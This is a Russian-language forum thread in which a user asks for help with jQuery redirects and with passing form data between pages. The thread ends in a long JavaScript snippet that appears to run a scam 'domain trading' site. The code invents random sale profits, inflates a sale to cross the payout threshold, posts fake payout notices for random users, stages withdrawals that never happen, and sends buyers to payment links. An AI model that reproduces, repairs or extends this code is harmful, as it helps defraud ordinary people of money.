Все равно не перекидывает
Я делаю вот так:
<p style="text-align: center;"> <!-- Разметка для кнопки открытия модального окна --> <a href="#iw-modal" class="iw-modal-btn"><button id="redirect">Переход</button></a> <!-- end.Разметка для кнопки открытия модального окна --> </p>
$(document).on('click', 'redirect', function (e) { e.preventDefault(); setTimeout(function () { window.location.href = "http://google.com"; }, 5000); });
Veterok2009, flacon2000, Почему то не перенаправляет.
Да, а сейчас не 2000 год, и иногда нужно передавать с помощью формы как вы выразились разные непотребства.
Да, но в таком случае не передаются данные из формы.
(function main() { var form = document.querySelector("#user-greeting > form"); var section = document.querySelector("#user-greeting > section"); function changeView() { if ("name" in localStorage) { form.style.display = "none"; section.style.display = ""; document.querySelector("#user-greeting .name").textContent = localStorage.name; } else { section.style.display = "none"; form.style.display = ""; } } form.addEventListener("submit", function(event) { event.preventDefault(); var data = new FormData(form); localStorage.name = [data.get("name"), data.get("family")].join(" "); changeView(); }); changeView(); })();
С этим разобрался.
Но вот как чтобы введенные пользователем имя (name) и фамилия (family-name) выводились на странице page2.html по отдельности, чтобы можно было поставить их в разные части страницы?
Что? Какие 10 букв?---------- Добавлено 06.09.2019 в 10:32 ----------
В том то и дело, что если просто убрать кнопку, данные не выводятся. Не знаю как это связано. но вот так
А можно пример? А то я не силен в кодинге
Попробовал сделать так, в итоге - пустая страница
function updateBDomains(bDomains) { $('#domains-my tbody').empty(); for (var domain in bDomains) { if (bDomains.hasOwnProperty(domain)) { var item = bDomains[domain]; console.log(item); $('#domains-my tbody').append('<tr id="bd' + item.lot + '" class="domain-' + item.type + '">' + '<td class="prmob2">' + item.lot + '</td>' + // '<td style="font-weight:bold">' + item.year + '</td>' + // '<td style="font-weight:bold">' + item.country + '</td>' + // '<td style="font-weight:bold">' + item.rank + '</td>' + // '<td style="font-weight:bold">' + item.requests + '</td>' + // '<td style="font-weight:bold">' + item.profit + ' руб.</td>' + '<td style="vertical-align: middle;"><button ' + 'data-price="' + item.price + '" ' + 'data-country="' + item.country + '" ' + 'data-requests="' + item.requests + '" ' + 'data-rank="' + item.rank + '" ' + 'data-lot="' + item.lot + '" ' + 'data-year="' + item.year + '" ' + 'data-domain="' + item.domain + '" ' + 'data-domain_real="' + item.domain_real + '" ' + 'data-type="' + item.type + '" ' + 'data-profit="' + item.profit + '" ' + 'data-profit_min="' + item.profit_min + '" ' + 'data-profit_max="' + item.profit_max + '" ' + 'class="myButton3 colr2"><span id="prmob"><i class="fa fa-refresh"></i> </span>текст</button></td>' + '</tr>'); } } } $('#moneyOut').click(function () { if (userData.income == 0) { $('#accountErrorModal').modal('show'); } else if (userData.income < 5000) { $('#minimalModal').modal('show'); } else { if (userData.jackpot_buyed == 1 && userData.domainsCount == 1) { $('#balanceErrorModal').modal('show'); } else { $('#payoutModal').modal('show'); } } }); $('#btnSellDomains').click(function () { if (userData.domainsCount < 1) { $('#notEnoughDomainsModal').modal('show'); } else { window.open('exchange.php'); } }); $('#domains-auction tbody').on('click', 'button.colr2', function () { /*if ($(this).data('price') > userData.balance) { $('#balanceErrorModal').modal('show'); return false; }*/ $('#domains-auction tbody tr:visible').removeAttr('data-clicked'); $(this).parent().parent().attr('data-clicked', '1'); $('#back-to-top').click(); $('#buyModal .lot').html($(this).data('lot')); $('#buyModal .price').html($(this).data('price')); $('#buyModal .year').html($(this).data('year')); $('#buyModal .domain').html($(this).data('domain')); $('#buyModal .rank').html($(this).data('rank')); $('#buyModal .country').html($(this).data('country')); $('#buyModal .requests').html($(this).data('requests')); var earn = ($(this).data('rank') - $(this).data('price')); var earnRub = uanToRub(earn); $('#buyModal .earn').html($(this).data('profit') + ' rub.'); $('#btn-buy').data('sum', earnRub); $('#btn-buy').data('lot', $(this).data('lot')); $('#btn-buy').data('price', $(this).data('price')); userData.recentDomain = { price: $(this).data('price'), rank: $(this).data('rank'), lot: $(this).data('lot'), year: $(this).data('year'), domain: $(this).data('domain'), domain_real: $(this).data('domain_real'), type: $(this).data('type'), profit: $(this).data('profit'), profit_min: $(this).data('profit_min'), profit_max: $(this).data('profit_max'), country: $(this).data('country'), requests: $(this).data('requests') }; userData.save("recentDomain"); var $clone = $(this).parent().parent().clone(); $(this).parent().parent().hide(); $clone.attr('id', $clone.attr('id') + '-s'); $('#selectedDomain').show().find('table tbody').html($clone); $('#buyModal').modal('show'); }); $('#selectedDomain tbody').on('click', 'button.colr2', function () { $('#buyModal').modal('show'); }); /*$('#buyModal').on('hide.bs.modal', function () { $('#selectedDomain').hide(); });*/ $('#domains-my tbody').on('click', 'button.colr2', function () { $('#back-to-top').click(); $('#sellModal .lot').html($(this).data('lot')); $('#sellModal .year').html($(this).data('year')); $('#sellModal .domain').html($(this).data('domain')); $('#sellModal .rank').html($(this).data('rank')); $('#sellModal .country').html($(this).data('country')); $('#sellModal .requests').html($(this).data('requests')); var earn = ($(this).data('rank') - $(this).data('price')); var earnRub = uanToRub(earn); $('#sellModal .earn').html($(this).data('profit')); $('#btn-sell').data('sum', earnRub); $('#btn-sell').data('lot', $(this).data('lot')); $('#btn-sell').data('country', $(this).data('country')); $('#btn-sell').data('requests', $(this).data('requests')); $('#btn-sell').data('price', $(this).data('price')); $('#btn-sell').data('profit_min', $(this).data('profit_min')); $('#btn-sell').data('profit_max', $(this).data('profit_max')); $('#btn-sell').data('type', $(this).data('type')); userData.recentDomain = { price: $(this).data('price'), country: $(this).data('country'), requests: $(this).data('requests'), rank: $(this).data('rank'), lot: $(this).data('lot'), year: $(this).data('year'), domain: $(this).data('domain'), domain_real: $(this).data('domain_real'), type: $(this).data('type'), profit: $(this).data('profit') }; domainIsSelling = false; isSellFinished = false; $('#btn-sell').removeClass('disabled').find('.text').text('текст'); $('#sellModal').find('.loading').text(""); $('#sellModal').modal('show'); }); $('#btn-buy').click(function () { window.location = buyUrls["p" + $(this).data('price')]; //$('#t' + $(this).data('lot')).hide(); //$('#buyModal').modal('hide'); }); var domainIsSelling = false; var isSellFinished = false; $('#btn-sell').click(function () { if (domainIsSelling && !isSellFinished)return; domainIsSelling = true; if (isSellFinished) { $('#sellModal').modal('hide'); return; } $(this).addClass('disabled'); $('#sellModal').find('.loading').html("<span style='color:#000000;'>Подождите...</span>").fadeIn(300); var int1 = rand(1000, 3000); var int2 = rand(1500, 4000); var int3 = rand(2000, 5000); var profit_min = parseInt($('#btn-sell').data('profit_min')); var profit_max = parseInt($('#btn-sell').data('profit_max')); if (profit_max > 4988) profit_max = 4988; if ($('#btn-sell').data('type') == 'jackpot') { profit_max = parseInt($('#btn-sell').data('profit_max')); } var price = rand(profit_min, profit_max); setTimeout(function () { $('#sellModal').find('.loading').html("<span style='color:#000000;'>текст1</span>"); setTimeout(function () { $('#sellModal').find('.loading').html("<span style='color:#000000;'>текст2</span>"); setTimeout(function () { if (userData.domainsSold >= 1 && userData.income < 5000) { if (price < 3325) price = 3325; price *= 10; $('#sellModal').find('.loading').html("<span style='color:#FF0000; font-weight:bold;'>текст3 " + price + " руб.</span>"); } else { $('#sellModal').find('.loading').html("<span style='color:#060; font-weight:bold;'>текст4 " + price + " руб.</span>"); } userData.income += price; userData.bDomains[userData.recentDomain.domain_real] = undefined; if (!userData.domainsSold) userData.domainsSold = 0; userData.domainsSold++; userData.save("income,bDomains,domainsSold"); updateUserData(); isSellFinished = true; $('#btn-sell').removeClass('disabled').find('.text').text('Закрыть окно'); }, int3); }, int2); }, int1); }); $('#userWallet').text(userData.wallet); function createPayoutNotice(time) { console.log('createPayoutNotice(' + time + ')'); var wtypes = [""]; var wtype = arand(wtypes); var icons = [""]; var icon = icons[wtypes.indexOf(wtype)]; console.log(icon); setTimeout(function () { var new_time = rand(15000, 60000); var reward = rand(5000, 128000); reward = reward - reward % 5000; var user = rand(1, 99999); $.growl.notice({ title: '', message: 'текст' + user + ' текст ' + reward + ' текст ' + wtype + ' <img width="16" height="16" src="/images/icons/' + icon + '.png" />' }); createPayoutNotice(new_time); }, time); } createPayoutNotice(2000); $('#btn-payout').click(function () { var amount = parseInt($('#amount').val()); if (isNaN(amount) || amount < 0 || amount > userData.income) { amount = userData.income; $('#amount').val(amount).trigger('change'); alert("текст"); } var wallet = $('#wallet').val(); if (!wallet || wallet.length < 5) { alert('текст'); return false; } $('#btn-payout').addClass('disabled').find('span').text("текст"); setTimeout(function () { $('#btn-payout').removeClass('disabled').find('span').text("текст"); $('#payoutModal').modal('hide'); //userData.income -= parseInt($('#amount').val()); //updateUserData(); setTimeout(function () { userData.save({payoutAmount: parseInt($('#amount').val())}); //$('#minimalModal2').find('.summ').text($('#amount').val() + " rub.").end().find('.wallet').text($('#wallet').val()).end().modal('show'); $('#minimalModal2').modal('show'); }, 500) }, rand(1500, 3000)); return false; }); var today = new Date(); var dd = today.getDate(); var mm = today.getMonth() + 1; //January is 0! var yyyy = today.getFullYear(); if (dd < 10) { dd = '0' + dd; } if (mm < 10) { mm = '0' + mm; } var today = dd + '.' + mm + '.' + yyyy; $('.today').html(today); //if(userData.domainsCount > 0)$('body').append('<script type="text/javascript" src="https://lib.profit-sender.com/push.js"></script>');